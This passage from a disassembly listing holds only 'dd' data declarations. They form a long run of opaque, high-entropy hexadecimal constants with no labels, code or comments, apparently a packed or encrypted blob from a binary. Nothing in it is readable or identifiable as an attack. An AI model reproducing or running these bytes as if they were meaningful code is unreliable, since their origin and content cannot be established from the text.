		dd 0CAF1A2E7h, 0A92899CDh, 62ECED00h, 3A2FFF58h, 24BC00D8h
		dd 660EE52Bh, 8000935h,	0B18E7D84h, 1C71DBh, 0F7973BE3h
		dd 4E1BC90Ch, 0E74FAA00h, 2F87D462h, 2431000Eh,	51DF3BBCh
		dd 0C2006B64h, 4202447Fh, 0E09179h, 80A2D1DDh, 0A44DF488h
		dd 61309F00h, 0D5EE600Eh, 1EEC0072h, 0D284436Dh, 0D82457A1h
		dd 58002881h, 697C07ABh, 837E01E5h, 66B6477Dh, 0D299DC2Fh
		dd 14CC3600h, 0FB3C18C5h, 0E973A5h, 3352AADDh, 243B9149h
		dd 31018BE0h, 0E86C62EDh, 51C81570h, 0C10D0061h, 5B60F3DAh
		dd 18004E5Ah, 0A37EEEDDh, 0E3BAFE9h, 0DAE3A2B0h, 0FA438CE4h
		dd 0CC359500h, 0E7A63D1h, 58CD4602h, 0DBC29EA0h, 0C00EEEC7h
		dd 0E14CE9ECh, 6511B0D1h, 29B9C4h, 9D380C22h, 347233A9h
		dd 1DE0553Fh, 0BF2B12h,	0E9DDD0ECh, 0EEB7CCEBh,	2AB0054h
		dd 89323850h, 0BC3C6087h, 968D8B69h, 1AD201E6h,	68E854D2h
		dd 4AEF38A3h, 0F3D7FE80h, 14511241h, 88352900h,	2E70567Dh
		dd 0C0790010h, 0B53F2224h, 1A1D6930h, 0E39759F4h, 0D4209D00h
		dd 7E894399h, 418A00F3h, 0BCA6263h, 7E2848ECh, 0FB00CDA4h
		dd 0E39F098Fh, 7B0B1AFh, 5593DDD1h, 0A2600017h,	0C00E6E7h
		dd 8C06C9FCh, 70B71Dh, 9BC2B49Ch, 0F42DB2E4h, 2B9AE30Bh
		dd 182A00CAh, 4B3433Bh,	551C0437h, 5A75802Eh, 0DD00DFBBh
		dd 21741201h, 0E2FE99h,	0D94EB654h, 0B21DF738h,	1168F600h
		dd 55A3D26Eh, 517E0F9Eh, 0C940BF15h, 0CA47996h,	3F7ABB00h
		dd 0A53DF306h, 6075003Eh, 596F1C0h, 4000B011h, 0A114DAE6h
		dd 0F60F82h, 2E801E36h,	6A7EE05Ah, 95B1551Fh, 0DC0BC9Dh
		dd 26293C57h, 0B33000D3h, 5F7348FBh, 9700FEE1h,	5D46935Ch
		dd 155A5591h, 0E461ACE9h, 0DAD9EC7h, 5F924060h,	7900CFD5h
		dd 8B2777E0h, 1C8DCECCh, 40A11844h, 0E9C9D4CBh,	0E42EB325h
		dd 84008CD0h, 0C1721440h, 0FDF5482Eh, 0A3469600h, 6EB8A47h
		dd 35A105Ch, 6CBD2DF2h,	26DAD15Ah, 73B0F3D0h, 2F3300C5h
		dd 0D5E0E8D9h, 0A100810Bh, 0F148F37h, 26D8E1B4h, 3ED0293h
		dd 2890B35Bh, 7E20EAF8h, 0B004C92h, 6BBED38Dh, 7D46FDAAh
		dd 0E54F014h, 99449DC5h, 387F1260h, 0A30FB2EDh,	820A09F5h
		dd 0E0F9DD01h, 3B8ACh, 0E89418DEh, 0E5A6D3DBh, 887CCC01h
		dd 0F679EF7Ah, 39010C22h, 40955398h, 43A05021h,	1E015D13h
		dd 854ADDF5h, 0C0FED9CDh, 27867Dh, 0BB6842D3h, 0B6FFAE19h
		dd 6A30CC0h, 4CC75E23h,	7200A1CFh, 0D2BFFD8Eh, 0B300D652h
		dd 0E412B6FCh, 772E34DDh, 0FCEF678h, 0A0350C87h, 0F25ABF60h
		dd 0F600EF4Fh, 4AC5CF44h, 171D213h, 7C82987Eh, 0F4E434CAh
		dd 0F1052439h, 0F9A8C3C0h, 0B86A2AC3h, 4D745h, 53BC3718h
		dd 0FF695224h, 73E0D800h, 0A1B7B8EBh, 0FA1107F1h, 0D0982AFEh
		dd 842ECD91h, 442C0B00h, 0BE9C065Eh, 2710Dh, 82503960h
		dd 0ECEE914Ch, 9659A13Fh, 0D2024F23h, 0C065F161h, 3A816Bh
		dd 0B0F76947h, 7A298C8Eh, 0A985CB00h, 0CDD67828h, 0E73D0016h
		dd 0F6D0BA52h, 0D27527F4h, 1287E007h, 31B00BF7h, 1D262C09h
		dd 0A0B457h, 6F33F8D2h,	0CE006999h, 3539A376h, 9C7C2Fh
		dd 56514E13h, 0BC272C78h, 0EDC6B100h, 0D301EC3Bh, 3F880008h
		dd 819B66C0h, 3500F063h, 0B5D53E7Ah, 0FA4A564h,	7001F28Eh
		dd 80CD4FC2h, 12A8EDE0h, 22EB2500h, 51BB2D93h, 3F5CF2B8h
		dd 839FCBBDh, 0D8A1413Bh, 0DC97AA38h, 15E88F7Ch, 3B99A024h
		dd 911D4107h, 6D1C49B0h, 0D2F8079Ch, 3094A1FDh,	6527B2D1h
		dd 3E75CFE0h, 0B0219E00h, 9D0853A6h, 0F40A7BD6h, 0E47D3FEBh
		dd 65F3EA80h, 0F791B9F8h, 7C53A507h, 41309F50h,	0FC3C425Fh
		dd 0F2400004h, 16A3AAEAh, 550ED20Bh, 0C00A4929h, 47667444h
		dd 0FE560097h, 0E89ABE1Bh, 7F00F9BAh, 495E3D08h, 4348F1h
		dd 0AF321CD8h, 76651A0Dh, 0B090C705h, 0BBE198h,	26731FB0h
		dd 5107B9C0h, 955BEE74h, 0C0B66172h, 3843004h, 6D3E4CE2h
		dd 0A0C882B0h, 8B002F9Ch, 76BAE9F9h, 2A3135h, 30E57ED7h
		dd 342DD3B2h, 43B50500h, 0C59F75Bh, 70BDE0A5h, 4CB200E8h
		dd 4957BF2Bh
		dd 8E783E36h, 0B5D34300h, 9AE2A3E6h, 0C07485h, 0FDDA8FA4h
		dd 4199E0Dh, 46205001h,	9BD7760Ch, 5CC491C8h, 0D300F63Eh
		dd 382213DDh, 79003272h, 78673F54h, 20ADE5h, 4FCA3EFEh
		dd 0D7199DA1h, 70552207h, 7F2121CFh, 0A8303227h, 9AD500A9h
		dd 8AE7FCB1h, 5600C464h, 47898349h, 0F8AEB523h,	0AFF90A8h
		dd 0B41172EEh, 0D81F00BBh, 0F21EE49Dh, 0D9BCD51Eh, 0E0E2F6CEh
		dd 0EFB4CE89h, 0AE280060h, 0D4AB6613h, 3E76611Fh, 0CC53A00Eh
		dd 0F63A60B4h, 0E214349Eh, 298400B2h, 0A2C05CD1h, 9102457Fh
		dd 6B58B640h, 0CB89E080h, 6D380007h, 14529E0Bh,	12008818h
		dd 37FAFE85h, 4671ACh, 0F4CA02Dh, 17143C63h, 2894C701h
		dd 30267795h, 96AB30h, 0A93BC33h, 0F43EC246h, 9221941Eh
		dd 0B82C9E00h, 8647E4h,	818DE82Eh, 59C95ADAh, 960EF300h
		dd 0A282DEA8h, 8F041FC5h, 1C6280BAh, 9DE4F23Eh,	0EE383079h
		dd 0F800FAE1h, 67C0CB6Ah, 140332h, 4CEB28C1h, 235F18B8h
		dd 0E3DA5800h, 0F642FB7Ch, 0FC71063Fh, 0A8B0AF93h, 6777A200h
		dd 56EF32Fh, 0A034B0D8h, 3C6CC241h, 8780381Bh, 0E4F40B5Dh
		dd 0A60071F0h, 10A25FDh, 4BDAF7h, 0DF18F9B7h, 5ED77B3Ch
		dd 26A4DC0Fh, 7D083A3h,	89AFA04Ch, 9617017Ch, 2F7D8750h
		dd 3129D843h, 0A1B89B77h, 0FCBD401h, 154D5607h,	0C300BF8h
		dd 7D4E1A22h, 1105AA38h, 6CA12897h, 460FBDC0h, 0B90200D4h
		dd 0F969D2C3h, 6500222Fh, 16772C17h, 73D01h, 58DFEDDEh
		dd 0BBF5C6EEh, 0AEE41B1Eh, 0F9F6A0Bh, 0B1B08021h, 3AF748h
		dd 9598DBBCh, 4C08AF94h, 6FA66700h, 31709019h, 9CCF045h
		dd 0BD448EDBh, 89221A00h, 3200AB4Fh, 0A7B5351Fh, 8B9D56h
		dd 0A6F16C07h, 0AB8608D6h, 0ED27B104h, 7EC0AED9h, 7A4E724h
		dd 92439B9Ch, 0ABB1B04Bh, 13397CBEh, 329D80E5h,	417F3B0Ah
		dd 4D461C76h, 0ACAA03D9h, 20F83411h, 1F03B656h,	0C3806A08h
		dd 7516D048h, 904060EEh, 67C83447h, 0E100B47Dh,	0A5FF037Ch
		dd 1A9526h, 47E01CCFh, 40EF3ED6h, 0D9B7E730h, 1B012F5h
		dd 835E34C1h, 0F14BF2A3h, 0D02CF863h, 0D6D9E50Fh, 0B2F12C89h
		dd 35379D5h, 0BD4A324Dh, 5900CE2Fh, 4CB09AA6h, 840EBBE7h
		dd 5161B290h, 454D5F58h, 0E4BA4410h, 0F940CE83h, 506B5884h
		dd 66F1024Eh, 0F38620CCh, 0E710419Ah, 748244AFh, 8B01B750h
		dd 0B3174C06h, 0D4A847F6h, 11F76871h, 8841BE03h, 844C054Ah
		dd 59EF6996h, 42C7188h,	1B17CA18h, 8591FF1h, 0D6D80297h
		dd 0C7101C4Dh, 0D9494059h, 87ACB1C0h, 7838F31Fh, 0EE22006Ch
		dd 0B2608949h, 0F007C1C8h, 153D3B54h, 8AB8A841h, 60B9C440h
		dd 1E7400DEh, 0F06716Bh, 98144FF7h, 981A59h, 0AE0C858Fh
		dd 28015F5h, 0A8EC3251h, 0A88E6031h, 62E68AC0h,	75074118h
		dd 0D75A9661h, 0BC93200h, 7C8E804Ch, 0B8C54300h, 0F320C6C8h
		dd 6A023CCFh, 88004BA0h, 0FCAF906Ch, 346CB9Dh, 5F18BC0h
		dd 0D080CFD9h, 0C200C68Ch, 8767AEB2h, 9576775Bh, 3B7F5140h
		dd 0D49AE0A9h, 0F8D3362Dh, 2C218200h, 709E1D93h, 173B0F3h
		dd 5CCF7E3Ah, 60D1ABF8h, 4A602158h, 0FABB1C80h,	2F84009Bh
		dd 2520969Dh, 0E600318Ch, 0DE722C56h, 5476DBh, 1C17A770h
		dd 0AC94A2B0h, 0EDFC0A50h, 801B623Ch, 9DE975E0h, 0CCFBAAh
		dd 95E3BB8Dh, 0F2894A2Dh, 0B627C507h, 7B5068D8h, 58B46FFh
		dd 0E09462B3h, 4C8400F3h, 8E11C3Fh, 7717CE00h, 552ADE27h
		dd 0C41D509Eh, 9850FDE5h, 0E0CBCFEh, 9AA88F66h,	0EE834AE0h
		dd 0AB073293h, 0FF43D6F9h, 6244B790h, 0C249015h, 3599637Bh
		dd 4024EC48h, 80BC4411h, 750FD246h, 40174D81h, 0FE079545h
		dd 0D4B38605h, 38831E54h, 9B38E0A0h, 67FF0079h,	0E5263082h
		dd 680028BDh, 0AFFC6EF1h, 6CE0D7h, 29014E56h, 62984DCAh
		dd 15C4100Eh, 557B2042h, 0B10E68h, 0E2C7F6BAh, 38EC9280h
		dd 3F457A00h, 317F4B70h, 0FA5B0078h, 590F93BAh,	28C0FC5Ah
		dd 44CA7A20h, 352F032Ch, 61DD1AD9h, 8151A6F0h, 34F333Eh
		dd 92F47F5Dh, 3C5E0024h, 2BCAD68Eh, 21005F25h, 46860736h
		dd 0FB6516h, 0F97BABA9h, 8D8B171h, 0F4365700h, 668E8431h
		dd 0D1E100B8h, 0A868D04Dh, 78007E5Ah, 0C36A5C7Dh, 9AC991h
		dd 70FF889Fh, 210E721h,	1249EA0h, 0A00F5A74h, 0FEFC9h
		dd 46BBCBF4h, 2CA43D54h, 68E512h, 19315149h, 0D101DB3Bh
		dd 0A28F9D71h, 12E45566h, 44DF001Fh, 896A6BE0h,	0E3761730h
		dd 0C8BE100Eh, 96401E28h, 0CD99B09h, 2F4303B7h,	38155A04h
		dd 0DA3F01C0h, 0D70EDC00h, 47AE6660h, 6C7F0078h, 7591E0E3h
		dd 0D6B0F412h, 94B6BC00h, 59F255FDh, 0EF08009Eh, 0C86DDBAAh
		dd 7226FBDCh, 6507FAA5h, 93A0601Dh, 1E26C155h, 0C08A7551h
		dd 91F8C96Fh, 7207ED4Ah, 11D60205h, 0AF1B28F0h,	0B2E90004h
		dd 4CB107E5h, 3D24AAEDh, 3926E69Eh, 0FC7AAE00h,	27FEC5Eh
		dd 0CA20F82Fh, 714032CDh, 92771969h, 37662703h,	0C0111E3Fh
		dd 0F681CAh, 0C8C3B065h, 0FDA37F15h, 0F705E200h, 0B1402A3Fh
		dd 4A97004Fh, 81809D7Bh, 891C4325h, 0D00BD23h, 0C0E3B5D5h
		dd 0E95D00DAh, 58A18CAFh, 7CEE532Dh, 0F500DFFCh, 0CF105983h
		dd 0EB162A9h, 70AF69ECh, 0EF6BD340h, 9B005A6Dh,	0AC33A41Eh
		dd 169637A3h, 40156A7Ah, 91433F83h, 58018741h, 727B278Eh
		dd 0B7CCC41Eh, 28477CFCh, 0E835EE6h, 0C3329514h, 0D468DAE0h
		dd 0D328917Dh, 7A7E8430h, 4AD1A600h, 0CD5D3F60h, 42FE33h
		dd 62D93D4h, 36CAA247h,	446EC21Ch, 41EAD3C0h, 68B6ABh
		dd 2CA6C6DFh, 0B519748Dh, 27640201h, 0C4580DFAh, 3B47FCh
		dd 8A76CF52h, 0EFFB5DE8h, 4D06200h, 0E3DC0B48h,	0A3BB0006h
		dd 19B3EC33h, 8301C31Ch, 17767CA0h, 5283F88Ch, 39EC6ABAh
		dd 2FCFA7E0h, 0CDDAE21Dh, 5A00EB28h, 8206CBD5h,	36A863h
		dd 599C76D1h, 0F397447Dh, 0B16C1200h, 6050EB8Dh, 0D3820023h
		dd 0CE988FFFh, 2700B4C2h, 0CA5D0FD5h, 266DC613h, 185B14h
		dd 89844F85h, 0EB002604h, 69678EF0h, 7160FBh, 0E7ED501Bh
		dd 921E7595h, 72E91300h, 830B2690h, 1BC10077h, 99A7CC1Dh
		dd 2A0049C7h, 0A6710D4Fh, 0F81770ADh, 348C003Bh, 1E5AA02Dh
		dd 0FAEC7B3Dh, 6CB02E02h, 6022BF5Fh, 743CFB64h,	0E45F249h
		dd 8BE03DD4h, 0BA42FC20h, 7E7407ADh, 3E3A413Eh,	383480D3h
		dd 0D093223h, 5CDD00BFh, 0E4562ACh, 110A5BF7h, 0ECB1101Bh
		dd 6427A607h, 0E7C2AA61h, 0F42012C9h, 1D765C6Ah, 1992090Fh
		dd 0A49713A0h, 680036E2h, 9365EB89h, 0EE9DE5DAh, 0CB4B00A0h
		dd 0E3749A6Dh, 65E0C5D5h, 3AA49900h, 24E6FCB9h,	0B4F800B6h
		dd 0BF6A6C7Ah, 803B1AC1h, 0DA71D52h, 4B9B2380h,	836F9h
		dd 0E3983389h, 0F574FA10h, 0CFDF5B00h, 428F6CE1h, 34890060h
		dd 3BAF264Fh, 8600B06Fh, 0EAD862AEh, 1548D2h, 43760685h
		dd 0BE888C55h, 5E7AF600h, 41AC4F92h, 0C847007Fh, 0A1C5D0Eh
		dd 0DE002157h, 44631397h, 3DF403Ch, 48D46AD2h, 0FDA82991h
		dd 6F004195h, 8ADB54CCh, 3F237859h, 0F97F18h, 0EC4E870Bh
		dd 2B857D4Fh, 327061Eh,	1DA5CC00h, 7EE0753Ah, 1E3503B0h
		dd 0BB581BEBh, 6A8E70DFh, 7E0024C8h, 3B22F05Eh,	81870Fh
		dd 0EC789A15h, 3A026A6Fh, 7BF86903h, 0E020B851h, 0A90D52h
		dd 5DC13D58h, 45FAC3DFh, 665F7200h, 2659F3C7h, 8951003Ah
		dd 0B1118194h, 0CE07039Ch
		dd 0ADC0017Eh, 569DD5D1h, 0EF30D061h, 762C00F4h, 97AAC1F9h
		dd 0EB00234Dh, 331D40EAh, 3F49ECF2h, 2280A55Bh,	34A66CF1h
		dd 6F00DD80h, 0A12C0185h, 0FD4D55h, 0A349F813h,	0EE78B496h
		dd 92002D72h, 1F26E494h, 7AD97C4h, 4F40A702h, 1EECA1C5h
		dd 6F98C845h, 0FCF42207h, 0CF0046D8h, 4DA2E0h, 0C394DFD2h
		dd 86A532F2h, 5CD79D3Ch, 56022D91h, 7E003D63h, 0DCA2D240h
		dd 34737D7Bh, 24A94400h, 0DAF0FC60h, 0F3B50061h, 0D29C056Bh
		dd 0C800F26Dh, 6514E076h, 188882E5h, 386C3A51h,	2A004F73h
		dd 5EA731FAh, 0FC9F709h, 41FFEB7Ch, 36E03E2Fh, 711982F8h
		dd 0B7779600h, 0E7F34B29h, 0AE9B00F6h, 92E0CEB9h, 2D9016A2h
		dd 0EFE89A2Ch, 0A0D28200h, 62FDE3h, 0B3805E34h,	0B9235542h
		dd 1B8B9503h, 0E06E4C59h, 0B0DE656Bh, 62A600E2h, 0D7FFBABFh
		dd 0FC00B0C9h, 4E36C5A0h, 1D63CD88h, 0A9BB86h, 9709B987h
		dd 40047D4h, 623DC745h,	0FA6D6Ah, 0C6412B71h, 91F6397Dh
		dd 0C5A7490Bh, 42688065h, 0E7A6D62h, 7989D1B0h,	0BD00094Eh
		dd 2FB4B1A0h, 67F3981Ch, 9EE00DC3h, 3104C4Dh, 0B8948600h
		dd 0A54B3BECh, 0D8342F00h, 0F8AAD3C9h, 0D54E00F2h, 0C49EAB73h
		dd 0BCF6622Bh, 3B933Eh,	797402C8h, 2A0F65h, 0A15C5258h
		dd 0B7BE42AEh, 665BF605h, 8DC078CBh, 0C8A61Ch, 56FE31E0h
		dd 94060F73h, 0D01FC201h, 786ADB46h, 0C610C080h, 0AD7D6318h
		dd 320E1A0Eh, 44F980ACh, 908A6939h, 0C18F077Ch,	10D781D5h
		dd 0F54FB84Bh, 1FFDFE00h, 0B6DAAD53h, 94FB002Dh, 23B4D375h
		dd 85006D4Dh, 3DC811BDh, 39E6Bh, 0B30CA4CCh, 4EE83134h
		dd 96B03200h, 3DB1D049h, 0E9C01D84h, 0A70C0BF7h, 635C3C80h
		dd 8E00E5F4h, 70BE669Dh, 0C289DCh, 3C210D9Ah, 4B4F815Ah
		dd 8377DCA0h, 2A951A00h, 288D2FB5h, 1CAB00DCh, 5BA4C77Ch
		dd 497A0F5Fh, 18053E00h, 0B0CB80B8h, 558F0794h,	1042C8C2h
		dd 0EB6063Bh, 16235C3Eh, 0FC03BC3Fh, 0F8C688A0h, 9DEDFh
		dd 938271DCh, 0D3062F96h, 51903E00h, 0EEF8B3A2h, 9C98DAh
		dd 8CBA726Eh, 81D7A711h, 2EA925h, 6F7FD19Ch, 0B0F3F0CEh
		dd 7BB11DF8h, 0D78E0FE1h, 1B861243h, 0E3588998h, 0D41E3619h
		dd 98315259h, 0D858A2h,	9A90187Ah, 0B0BFAD31h, 64AA7777h
		dd 0EAF8FC0h, 8E457415h, 2CC19C64h, 0DA11F2FBh,	153B4C4h
		dd 8ECAE967h, 80DCBC50h, 0DDB87A50h, 0FAD1976h,	0DF66518Ch
		dd 1D7167C3h, 467DCCF0h, 9F01DAE2h, 19F915B6h, 0B770B769h
		dd 712100F6h, 0B3DDEEBh, 800324D9h, 0AC67810Ch,	36A3A0AAh
		dd 0F3E30333h, 952218C0h, 0D3021780h, 0EA793400h, 28AB49D0h
		dd 47050B39h, 0EA863EB2h, 0A700106Eh, 7D8733E8h, 0FF9482h
		dd 42A2812h, 167F4D40h,	0AFE84F00h, 0DDBD681Ah,	92070071h
		dd 0F1817A57h, 0A0047D3h, 0A6FF65A0h, 3509FC4h,	873BC79Bh
		dd 617C7151h, 0B125F100h, 18F74F20h, 43B3E7Ah, 3CD32C00h
		dd 0CF4CF69Dh, 7829BA30h, 0A1FB085Fh, 298025FBh, 0AD76FDF0h
		dd 0DEE2FE39h, 0B93A5930h, 0F8AF4358h, 0E63801F0h, 5F8D677Fh
		dd 6B50EC0Eh, 620245E0h, 6A034D26h, 9C98800Bh, 201E77h
		dd 0D905128Ah, 27517E4Ah, 0DF0110C0h, 0FCF95Eh,	0BB76C519h
		dd 2B93FE50h, 0A23C8B00h, 2FE5995Dh, 8D680003h,	0C2B0F912h
		dd 5AE49EDEh, 0B2D54D00h, 33EE2B67h, 3F8D758Ch,	786AD6h
		dd 917208FAh, 51FB61A9h, 0A4D84300h, 0A03A13F3h, 0F5960015h
		dd 0A3A81FC9h, 290039D5h, 4B8C53Fh, 0C19093B9h,	0BF0BE539h
		dd 0B418ACCCh, 3098C400h, 1D67ACFh, 3B745B9h, 43A785B4h
		dd 43C9A4A4h, 88807ADDh, 1B1493h, 91958FEAh, 18A5F1E0h
		dd 0B6B41600h, 0F6743E78h, 61C00063h, 3B5AEBD6h, 430065FDh
		dd 923A15E2h, 2E2FDCB9h, 0D3DAEh, 129D561h, 9C0055E9h
		dd 803EC454h, 0EDC28Dh,	0D735A4CFh, 0EFEB86A2h,	2518A301h
		dd 0DB2DC6F2h, 0F1ABEF0h, 59A63E94h, 0B7408E00h, 0E8F0D89Eh
		dd 5B6A5106h, 0F0BA89h,	53FF1CEEh, 90652A17h, 0D7847000h
		dd 466A6350h, 52DE019Ah, 0B8D193DDh, 8C3AECCAh,	38393Ch
		dd 5D6D4974h, 38C821BCh, 0DB01A8B0h, 0EC919AFBh, 0FD9BF085h
		dd 0B8838D0Fh, 0DC4F0097h, 7BD56C50h, 1A620772h, 0F0E6584Bh
		dd 0D791275Ah, 0C2003879h, 6BFEEC0Dh, 0C88D0E0h, 0ED2B1383h
		dd 6D00A741h, 475FF2B1h, 13A0852h, 711DF565h, 0E0357CD7h
		dd 0B37511ABh, 6DE96800h, 675DA437h, 0DFF689h, 0EA9B18B8h
		dd 6470D85Ah, 3A7D8204h, 20C0E72Ah, 8DC7D6h, 1133643h
		dd 0A1F9F2A5h, 17574400h, 2DFD658Bh, 0B64C00E5h, 5F7FF1D6h
		dd 8161F93Ah, 0F53B2B98h, 16D99Dh, 0B8845D20h, 0E30166F8h
		dd 550650DBh, 41FC4B45h, 3B279B1h, 4CFE42B6h, 65F32FD2h
		dd 0A7A54800h, 9FC52315h, 0A2A800E7h, 0EEEC2069h, 14001374h
		dd 0F4BE030Ch, 7ED57Bh,	18459972h, 51153FFBh, 8900837Fh
		dd 7542F36Dh, 1AC6801h,	0D579EF80h, 0E0D1C5F0h,	4F07AFFCh
		dd 6813DD25h, 9D737BE0h, 3EA22986h, 42F06720h, 0B710F28Eh
		dd 0A9FA28h, 0C3E67F6h,	0BE87A8D4h, 0FEAD50C0h,	2C2FD1Dh
		dd 0BB99A4ACh, 0A162E806h, 0C6246D40h, 8000B72h, 76A6EBAFh
		dd 7A60B7h, 0A1F873CAh,	0B8F1B343h, 803EC63Dh, 0FB34FC6Ch
		dd 4DC93Bh, 494B2FBFh, 0D6122039h, 1A508A03h, 0B0C867C3h
		dd 0D1A321h, 0CD55DF17h, 22392C2Bh, 56B9C71Ch, 0E0A6B54Fh
		dd 26D39E9Ah, 4F580008h, 0ED88D759h, 2A7FE55Ah,	1D7855Ch
		dd 1A130ADFh, 41DCE33Dh, 0D8400766h, 0D0878F82h, 202E50B8h
		dd 7083FE00h, 0E4C98AB9h, 6C5B3C24h, 921A6A00h,	8FD795B0h
		dd 4A3BB503h, 0E33EB985h, 0E014F391h, 241CBDAAh, 12C61BBh
		dd 0C97032E7h, 0B989C0D2h, 8737123Bh, 0A1E0B404h, 46CA97F0h
		dd 4F78BFh, 16899F76h, 0CE853F3h, 4A10B2A0h, 0C6D13C00h
		dd 2A847861h, 0EFD80096h, 0EABFD48Fh, 0C2003679h, 4B865C21h
		dd 4C9611FFh, 0C1C2509h, 0E9DA5E23h, 0F21E4120h, 7EF40C8Ch
		dd 71BCB027h, 129F0E9Bh, 801ED1E5h, 8978A1CAh, 7B746A32h
		dd 0AD807F01h, 4E9F5E0Bh, 0A3B0E0BAh, 0ABD73920h, 5F9A6200h
		dd 857F8827h, 41600096h, 2EF03F21h, 6700E5A1h, 32E4836Bh
		dd 1D7EC3FCh, 8703D0F6h, 0D2EED92Dh, 0DC805C45h, 5D8D93F3h
		dd 9D943F3Dh, 0D1406629h, 73850FB4h, 0F0DC0042h, 249FB19Ah
		dd 38032869h, 0BA3D3A94h, 0ADD343h, 9840D190h, 83FF0D49h
		dd 0A221DF00h, 0D70920C8h, 0D13B00F0h, 54D83257h, 880E8C10h
		dd 2016CA62h, 83844EF7h, 30DAEACBh, 39A0F248h, 79003E98h
		dd 3F639D61h, 740BEA7Fh, 0CF950092h, 88E7EC3Ah,	6A003532h
		dd 0C65582C2h, 0DD8E9Eh, 61E5AA03h, 6BDB933Eh, 33819000h
		dd 8449C6BFh, 76501C73h, 5F6E40FDh, 0F4E195D9h,	7E073700h
		dd 0BB85705Bh, 0E924188Fh, 0B348883Bh, 0C390F060h, 3F73E0h
		dd 0CEDE3897h, 0FB3D928Dh, 4D247B0Ah, 77804C5h,	0D3DB0008h
		dd 0C0721D3Bh, 620C024Ch, 204B693Ah, 132D0084h,	0EE4E57A3h
		dd 2C632215h, 4C6708h, 0D3982920h, 948CF60Ah, 0FC045900h
		dd 0F1EA4FC6h, 30F7F219h, 8F70D9FFh, 5D005F1Bh,	74A8E13Eh
		dd 17CA3DEh, 0EE1D7E84h, 83E9F037h, 0E24DF228h,	0A2A00327h
		dd 87FAF657h, 74C15CE0h, 191BB9C0h, 3B9EDD08h, 70BD9255h
		dd 7C183394h, 0E1540203h, 0D580E508h, 7300F536h, 0DB767897h
		dd 1DE6E7h, 0EE43568Ch
		dd 7AEBE962h, 7F024E00h, 90FBD25h, 0D8501F2Fh, 2B6200E8h
		dd 4C8F01F2h, 750003FEh, 0ECE629F5h, 0C81955Ah,	0C4CF67C9h
		dd 0CB03ABB0h, 0EA420CA4h, 0A3ACFC92h, 0D13E94Ch, 5DF002Dh
		dd 4BB78F1Bh, 9702B0A6h, 0DE57A0C1h, 4ABA1812h,	621380h
		dd 25FC60B5h, 6FB289D4h, 3D7EE71Ch, 247C80FCh, 0B1B6518Ch
		dd 0EF2600C4h, 7F7A583h, 5C00E6EBh, 0E5039BF3h,	0E80FE47Bh
		dd 4FD1004Ah, 67382558h, 6207D8CAh, 7605569h, 0C05B48D3h
		dd 50C69694h, 0AFCB418h, 6112210Dh, 40601FBCh, 3CF2DBC4h
		dd 0E750A30Bh, 910B70D8h, 54E2F96Ch, 0BFC60F06h, 0C08103E4h
		dd 5C134E84h, 0F8027C0Bh, 0CCE880DAh, 9C90629h,	49D2A776h
		dd 0BA883817h, 21FF674Ah, 0FF648F91h, 0F0B9C7ECh, 1B45F8F9h
		dd 0B06FCA00h, 0C4FE6B0Ah, 9F177B5h, 73D4EAE3h,	20867021h
		dd 5920D672h, 1053FEB3h, 80F02A6Eh, 7BE244A3h, 0B27D0085h
		dd 0F3E01A05h, 3D004586h, 562CB442h, 75E41C47h,	10680EE6h
		dd 28407727h, 0CE21F896h, 0D0535402h, 0C0EADE69h, 2ABEDC9h
		dd 7B57DF9h, 54409D80h,	3A48E8FAh, 20D400D4h, 0E1A24E5Fh
		dd 83F1001Ch, 94D5EC77h, 6E3A5A18h, 11A58DCh, 20E6AC53h
		dd 0A080428Ch, 0A99C6D24h, 0B403FBA8h, 5B8E6976h, 3E9A036h
		dd 98240F7Eh, 6B66BE0Dh, 7B1278E8h, 0B040BB92h,	94165175h
		dd 8F560B90h, 1E0018B2h, 3DD9821Fh, 0DFC830A0h,	5421FEF4h
		dd 0D7468234h, 8C40247Dh, 61001EBDh, 65C4FD94h,	8BA8CDh
		dd 8CE571D9h, 0A7462576h, 149E4F00h, 0E2790B0Ah, 111F077Ch
		dd 0B6107B98h, 680090E1h, 0FB3B8024h, 9CDC30h, 9B811152h
		dd 0BE1DA2DBh, 47A0E400h, 0B057380h, 3E8A02F6h,	7BFA4809h
		dd 0F9BE040h, 0EC7D52h,	56BC2A9Ah, 8415E0A6h, 327188A4h
		dd 3611B600h, 0E6234AFBh, 0EF400022h, 0CF4641F2h, 3F48F580h
		dd 4B0076B0h, 0B0D18FB4h, 373016Fh, 8E2CC377h, 5CF9D20Ch
		dd 4D8440C8h, 27585D94h, 6AE600EBh, 1F56BDB3h, 0C3E500BAh
		dd 9CE15BF8h, 39004DF5h, 193915Dh, 0CF3B05h, 0F41DCC76h
		dd 2C8AB8DFh, 0EABD5A09h, 964081EEh, 3F08F020h,	3099A901h
		dd 91F653C6h, 80FD2C11h, 0B2FB2780h, 60391Eh, 32E3D805h
		dd 0DE54C5E8h, 5A308501h, 0DF0327B9h, 0C400A433h, 0DCE39810h
		dd 2884F4A5h, 0A48EDFh,	38E0CB55h, 2CA719B7h, 0B250B002h
		dd 40460FE9h, 5CFC4Ch, 0EBA5C2D4h, 0B93A4D96h, 607248h
		dd 0EE989C69h, 91C96274h, 0E4387058h, 26007D42h, 0CEBDF1DAh
		dd 4405AE2Ah, 3F8A28D7h, 0E81A2C83h, 80E5FEC5h,	1652E67Fh
		dd 0DB7E0130h, 35A4FA75h, 8A20DA0Dh, 1FE7C84h, 0EE408096h
		dd 0F0FA0AF2h, 5812B9D4h, 0B82C193Bh, 0D198C2Dh, 36FCAA91h
		dd 8DC0B822h, 5392BCE8h, 73D6A30Ch, 1379F2h, 432ABC4h
		dd 0F0C74448h, 46CF858h, 27E2605Dh, 0B04C640h, 2F21B04Bh
		dd 55D80018h, 4CBBFB3Eh, 62B8E075h, 5611739h, 7C8DB66Ch
		dd 45E28C04h, 1304B488h, 9E174ACh, 0B4222E80h, 1B20D7C1h
		dd 0EE24623h, 1EF1A03Ah, 0B1B48CE0h, 2A0958E1h,	0A77B6E26h
		dd 90102E80h, 0ADF4F41h, 0C568E127h, 1AF05E88h,	0BEE70286h
		dd 2B9D78FDh, 9959704Ch, 0A97280B0h, 93DE625Ch,	74A30870h
		dd 0BDE73200h, 1C5C7A28h, 0C480A7A1h, 0CCB12C3Fh, 0E6188BF0h
		dd 65E8C5A3h, 39EF262Ah, 0C0251FB0h, 92638C9Ch,	8D071559h
		dd 0C29F54EEh, 0FA8F8270h, 439B0057h, 4A75D558h, 3490337Ah
		dd 80F26938h, 0EDC9FCEEh, 77553660h, 0DB1C0040h, 0E6427112h
		dd 0AC0A7848h, 0E4C33094h, 0A20CA882h, 0C6806068h, 0D4AA00E6h
